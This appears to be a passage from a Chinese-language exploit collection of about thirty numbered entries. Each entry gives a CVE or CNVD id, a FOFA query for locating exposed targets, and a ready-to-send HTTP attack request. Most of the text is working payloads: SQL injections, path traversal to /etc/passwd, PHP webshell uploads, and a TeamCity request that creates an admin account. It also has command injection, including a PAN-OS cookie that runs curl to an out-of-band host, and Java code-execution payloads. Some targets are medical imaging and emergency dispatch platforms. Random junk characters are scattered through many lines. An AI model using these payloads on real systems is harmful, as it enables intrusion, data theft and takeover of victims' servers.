+ M, I: R" D5 U! ^+ E. tGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
* R0 Z# I% {# P+ r  qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
" H  P* m7 c( O
" @* C& j' t5 a4 ?# T' S$ i
第二步，读取/etc/passwd文件
' m4 X7 j5 Q. Z$ H1 j6 o9 VGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
- E0 D6 H$ f* z) CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! r0 q7 ?) p  O9 D' wAccept: */*
- c, y! K* @4 a9 y1 Q( qAccept-Encoding: gzip, deflate
4 [4 ~) h/ T- N1 u4 yConnection: close
4 h/ g- V0 b, i( r, G: juuid: 85f60018-a654-4410-a783-f81cbd5000b9

- T/ }& S) ]/ y6 o$ f- N
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
5 m5 b1 S( ]7 zPOST /admin/users/upavatar.html HTTP/1.1
) ^9 z6 l9 u. b1 U5 l+ f" GHost: 127.0.0.1
/ Q3 ^+ B- u6 ~! j# o8 o3 k% BAccept: application/json, text/javascript, */*; q=0.01
$ p6 z0 d) g2 MX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
; F8 M; ^, E! W  t7 u  Z5 c9 R  UContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
) y6 o  q7 f' Q5 O) Y) ~; q6 r
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
" h8 Q5 w% p# Z+ t2 DContent-Type: image/png
3 Z2 L! u: W$ q0 N! v' X
8 ]' A  P' Q+ M+ d, ~<?php phpinfo();@eval($_POST['sec']);?>
  E$ ~7 `1 U- o; F------WebKitFormBoundary3OCVBiwBVsNuB2kR--


) K) l5 }/ G7 M131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
) k% b7 E  y; n( s: I4 H1 [* b后台地址：http://localhost:8080/tmall/admin
1 [& A  d- b1 Z' D( `http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

+ n1 p8 c! I' U8 H8 `- y$ D% f132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
  M9 r5 q2 u6 l; J/ e7 \FOFA：body="Log in to TeamCity"
" h" }& I8 n/ w. Z8 c$ WPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
9 j9 Y( @9 D8 NContent-Type: application/json
7 q2 d# B# V( B# C, R! MAccept-Encoding: gzip, deflate
* u" r% S$ {: Y/ D
) F/ U) V" @+ ~% G- O) r{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

4 J; B0 h) t. B: W: n
+ o6 N+ d- @: ?' DCVE-2024-27199
/res/../admin/diagnostic.jsp
% T' ~5 C1 A* J/.well-known/acme-challenge/../../admin/diagnostic.jsp
5 s: F" v+ V" X: j6 [/update/../admin/diagnostic.jsp
0 }* S: {% u5 z: b

% i: M. z* s, @& ~) a7 N. CCVE-2024-27198-RCE.py
# S9 X9 n" g' y1 }
133. H5 云商城 file.php 文件上传
, |9 @% p" Z' J: M4 _% zFOFA：body="/public/qbsp.php"
4 O4 W/ G9 H" \% \5 x* w" MPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
) g/ I. V1 e$ z4 a# J( R( N* I" A
" ^" {" f6 Y& h4 F5 ~; h: i------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
5 S( D% f7 h+ f: o- q9 [2 ~' fContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
( w& U# ?6 F2 `3 x------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



$ S( S! n9 V$ ~: _. o) [! |134. 网康NS-ASG应用安全网关index.php sql注入
0 X5 t4 m# i9 x/ x! q; ZCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
" e6 A8 T* H( uPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
/ [8 C1 N) O2 b) n2 H% r! ^, W' ^# O3 tCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
9 j3 j9 ^5 P2 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
0 m- r9 \8 g5 p3 uAccept: */*
4 w8 ?( n$ d) D4 w& W0 o: u' ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  U. f: [+ M9 Y9 ZAccept-Encoding: gzip, deflate
4 G8 k4 K! P8 ASec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
; b3 I, w  d; f3 e. p# aTe: trailers
9 m! U7 j& m* c8 K4 S7 K* V) |Connection: close
Content-Type: application/x-www-form-urlencoded
5 z+ Q" u  v* Q4 F$ V/ n$ h3 C% B5 L) ]Content-Length: 263

. Z" w& T! m: O4 U0 rjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
% @% R$ [$ V  L( dFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
6 D! {- m4 d4 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ J" c1 w( i" \1 f/ K1 M- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. ^* d* X3 u0 b0 R7 T6 q: RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 T' D) J) a$ m+ e2 j6 i# `: v

136. NextChat cors SSRF
6 H+ C' h0 D( W3 DCVE-2023-49785
' F9 t* O6 J, S" ]' Q2 eFOFA：title="NextChat"
; ^* U1 @' X2 u9 c: L# kGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
6 w% _0 y, P4 X" N3 [- _' `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
2 v! z& C7 N- Y% sAccept-Language: en
; U, I% Y& N% A+ S/ }4 IAccept-Encoding: gzip
, ]# e  r0 n+ ]4 |
) p  s9 C! \. w9 v2 b6 M
137. 福建科立迅通信指挥调度平台down_file.php sql注入
6 y2 P9 ?. Z, ~  @3 K0 D, UCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 s) n8 K3 P& g+ `2 @GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
8 P- u$ ]! s+ D2 w5 r9 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) ]4 i" `  F2 w# sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# X  C) ^8 j0 LConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
' Z5 F. ^, w- {$ t; H) b* _Upgrade-Insecure-Requests: 1


4 W& K/ b# Q" Q+ a138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
0 k9 V! e6 }1 k. C8 v0 {& ~4 I! w0 |CVE-2024-2621
6 K! U# e3 c+ UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
+ F+ L! z  }; A1 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% m5 U! U! J3 }! ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: |3 K/ Q0 |' N( kAccept-Encoding: gzip, deflate, br
! _+ U4 q1 y4 A! T+ ?% L3 PConnection: close
9 X2 ?) ]2 `& WUpgrade-Insecure-Requests: 1

3 O8 @; I! ]* C
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 d- y: ?! w, G! F$ sCVE-2024-2622
# c3 K$ l( l3 W' N! |1 ?FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
: s1 Q7 y$ t. K2 E) v2 b/ r+ PCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

9 U3 F9 s3 \/ J0 R* b
! n6 ?& I+ M' g& ^, y7 r& p# P  E140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
9 x2 M0 p# J& ~$ k8 b' U/ Y5 vFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 c* T6 w; R5 p0 ?( x5 ^GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
% W3 a* C+ l6 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 K& v# ~. U6 M& F! W: {" e5 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- l. A) G4 q% L+ V& QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: H! x7 Z/ n3 y4 [Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
8 L( B) R! J2 [) T* t3 `) dUpgrade-Insecure-Requests: 1

" r4 O6 `- b) P% P1 b
% l6 x: T  n* |8 M$ O' K; e141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
/ `+ ]6 ^% s/ n! C# g5 r& aHost: your-ip
& m: ]3 P: c! A2 q$ LUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
7 c  q! T7 }& Q0 w  sContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
2 M4 f6 T7 P( H5 O# d( B, x

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
& M. I, k5 x2 b; w) eFOFA：body="/808gps/"
/ U% v1 @' u* X9 {& R7 A8 eadmin/admin
( [8 e& H& L( d. |$ ^. e143. Netis WF2780 v2.1.40144 远程命令执行
7 Z% o  F/ K; j, V$ iCVE-2024-25850
7 F8 i: g( D- @FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
! l! S5 L, i) t4 n8 @  s! Z2 \! w" WFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
: L4 B8 t" w9 _* k1 O' ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
& U7 _1 O! A+ V3 S3 _' C4 UConnection: close
+ L/ y. D8 t- O# z' FAccept: */*
2 N2 R, B( C/ b2 v/ G6 [Accept-Language: en
Accept-Encoding: gzip
( z3 ]3 \: [' M" O! ?$ h
9 P5 t4 ?% d& {! w' B+ C
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
$ H% l8 i! ^5 s3 R& O4 NCVE-2024-3400
1 ?" a6 F& f9 }2 yFOFA：icon_hash="-631559155"
" G, u+ Z! D  f8 n* w; x# ^6 w1 eGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
/ ^5 [$ w( [2 s, H" h* z! V" RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
$ a) |) I3 |- I; u6 x- H8 NConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
+ N4 L% Y0 U- j; K6 a: h
1 S  f+ |8 s9 L  L/ |+ t
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
0 J+ G" i1 l; T( ~/ q) g# X1 s: HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
# i" @) o) U& o1 VAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

( s( `& A) `, j1 Y
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
% W+ t+ v4 c3 H' u8 pConnection: close

, q" J( j7 n" V+ h. X6 R
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
1 _3 u0 D8 K& C4 W4 `- R) BFOFA：body="CrushFTP"
) I5 F% Z4 R- B, L; jPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
5 T! _3 p1 d2 Y% q- |1 L4 n) QFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 C: J9 H6 a8 d7 x$ yAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
8 ^. ~- B4 r8 }4 S- J" ~4 B9 d7 NConnection: close
/ H9 r$ W3 f; g0 G' {6 S+ m
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 J7 |1 |; {+ N4 l
150. AJ-Report 1.4.0 认证绕过与远程代码执行
) H  F) q# }/ `$ fFOFA：title="AJ-Report"
6 I7 j8 A) q* IPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, H. f0 i9 F& r1 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ R0 J. @+ x: _" N/ u! GAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; s3 J% F3 k5 K/ [5 a" m& J4 sContent-Type: application/json;charset=UTF-8
Connection: close
8 c* [; w" p( {. UContent-Length: 339

$ H- ]" v: ]3 ^8 k{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

- d. R/ G9 Z) i0 y
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
. c0 i! `( V. }- A  t8 NGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
8 i5 [% }' _6 j" QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  {- j. }! U* s1 J* bConnection: close
Accept-Encoding: gzip


& K0 n+ W) {, R* {5 _152. Progress Kemp LoadMaster 远程命令执行
' S. F+ G1 o  a7 x# a; B, bCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
+ h' A& z7 o$ m1 g# m5 ]3 LHost: x.x.x.x
, F, Q' n* r( l5 f% `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
5 J: e! ?  T1 v9 aConnection: close
Accept: */*
0 m4 m! H2 G7 a4 S/ mAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
' _9 P# ]) W( y; b3 e  t. n
5 E5 X' g9 m5 O1 {- e6 ~
153. gradio任意文件读取
7 Y1 w  b7 J& \7 \3 `  M& `! KCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
* k5 k# `$ U4 H$ t( A" X9 l* Ghttp://x.x.x.x/config
: X4 b- Y6 q; p9 x- R2 [* X* J
2 L# s/ x! t" j9 A4 r& O9 Z6 w6 _
) H9 Z! _- t, ^$ B- S1 B8 K第二步，将/etc/passwd的内容写入到一个临时文件
, W" M& l) c" R: t# q5 Y' C* YPOST /component_server HTTP/1.1
7 {8 Q8 W1 o1 F, J( z- c/ [Host: x.x.x.x
1 y# r0 Q9 `* {) X7 _+ n: r" O6 x' nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
2 ^& U3 \: Z4 w; S( Z
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
; A) Y! U& M; a, V! H* R8 s3 W4 e

# A/ D, z# o. s$ l, a& B第三步访问
6 X/ i8 n* A1 C! |& Hhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
7 O) Z$ z  J1 \: F: M

154. 天维尔消防救援作战调度平台 SQL注入
( q# C( j5 I1 C1 ]. q- OCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
2 ^2 Z5 P) r) {: b) o7 b" FHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
/ k4 y! ]8 I3 r* F5 BUpgrade-Insecure-Requests: 1
9 E7 p" X6 l- c! }% v/ k& [Origin: http://x.x.x.x
# Q$ F8 ]! R9 ^" r3 oContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 Q" O, N: c. y; n+ B. tConnection: close
2 C1 g- C! @: N; f) H" ^
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
. [9 e% Q, c% l7 k$ a

" N( ~# V4 D% [6 m% _155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
/ j7 a4 V; D1 F# oFOFA：title=="上网导航 - LyLme Spage"
4 j, @) B; @/ y% `) b9 A' R0 J# {POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
0 x  x* v, i8 k6 Q; b" ]: I/ @2 f7 qConnection: close
" z5 b' L9 O1 r( J  n, P+ bContent-Length: 232
, H! M0 i" ?# E  r$ P/ xAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ T$ e! M/ D3 N- O- ]" A6 l4 ZContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

7 u9 i: F: \5 o! M-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
7 C" P3 C4 E6 |Content-Type: image/png
# K, F* r( K+ `& C( a* f& k& h
  m4 N" b/ F6 R# i  q; T, G2 }<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

6 B+ f( S4 l4 O6 u; l& P, q
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
/ c5 o' N. s  P5 W
$ W/ }& A7 y) K156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
# ]$ y- Q! s, t4 MFOFA："Location: /login.rsp"
·TBK DVR-4104
; y9 S/ a* h) F6 K* I·TBK DVR-4216
3 `. _, j. a$ Q4 ncurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

( t9 w+ B+ F; [0 T1 P- W1 Q
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" _- R9 B% j. q9 @) X  D  i4 }Connection: close
Content-Length: 0
# D$ L1 t9 y% R$ c8 l: C6 q1 PCookie: uid=1
  v% A. X* y- ~1 lAccept-Encoding: gzip

+ R' b/ V; H1 I0 Q& h! b8 T  `
0 ^6 t* ]/ x8 ]4 F, O4 i) Y) k157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
4 X$ H8 y( ?7 y* S& IPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
+ U3 z! P* ?- r" V& I4 N4 J( F0 s" NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* l- G1 I5 E9 F0 R, \9 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) ~6 [4 v) g9 b: \! gCache-Control: max-age=0
$ [9 O0 E* l) G% BConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
; e0 E  q1 @1 Z, ?' l4 h/ X7 lUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
: d9 S9 p0 K) @, x5 PContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
4 m* M2 u5 O9 p* M) K; x+ S
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
( g) ?' L* v$ T3 I8 a; qContent-Disposition: form-data; name="key"
  ?' k8 P' H- c- @
null
- }, F/ Y! {9 V: l% ?* w( m------WebKitFormBoundary1imovELzPsfzp5dN
" {5 n" d8 _  K% [( D3 CContent-Disposition: form-data; name="form"
- R* L2 J' x" ?2 b+ }
0 e) C# @9 R% H3 W3 Y1 |, }null
, i4 L- f/ W9 w& F$ E------WebKitFormBoundary1imovELzPsfzp5dN
$ N3 B) A# n, {* p+ ?Content-Disposition: form-data; name="field"
: p9 \7 |1 Y, `2 i2 l
* U$ j, C. }- T# j" S( w: Dnull
( Q: h1 u8 u/ z: w, F6 V------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
% G, M6 B/ K+ b! a* ^& C% P
null
- c# ^' ?% S% q& D  v& z; t------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

# f1 R/ T7 R8 [null
------WebKitFormBoundary1imovELzPsfzp5dN--

7 Z2 t, `/ w( W. Q7 B
! C/ D; j, E5 [! n& M2 n+ a; A, Bhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
2 K; _8 n" S% X7 K+ c
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
$ i. G7 D8 W1 ~8 UFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
2 n7 G* a! ]5 {& ?; N* O0 j. lHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- m; B2 e( M" t7 c' D9 w
object=displayregion&contenthistid=x\'&previewid=1
% \" i, F( F) R4 a& `

7 h. w3 g3 H1 q, W) z) x+ O159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
" L: z/ W( A: fHost: x.x.x.x
$ Z2 F0 X4 X8 y7 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ y4 E% V! x8 E$ n, G- W* q2 fContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
0 u# `2 W% c& X  [7 T+ iSoapaction: "http://rainier/jobUpload"

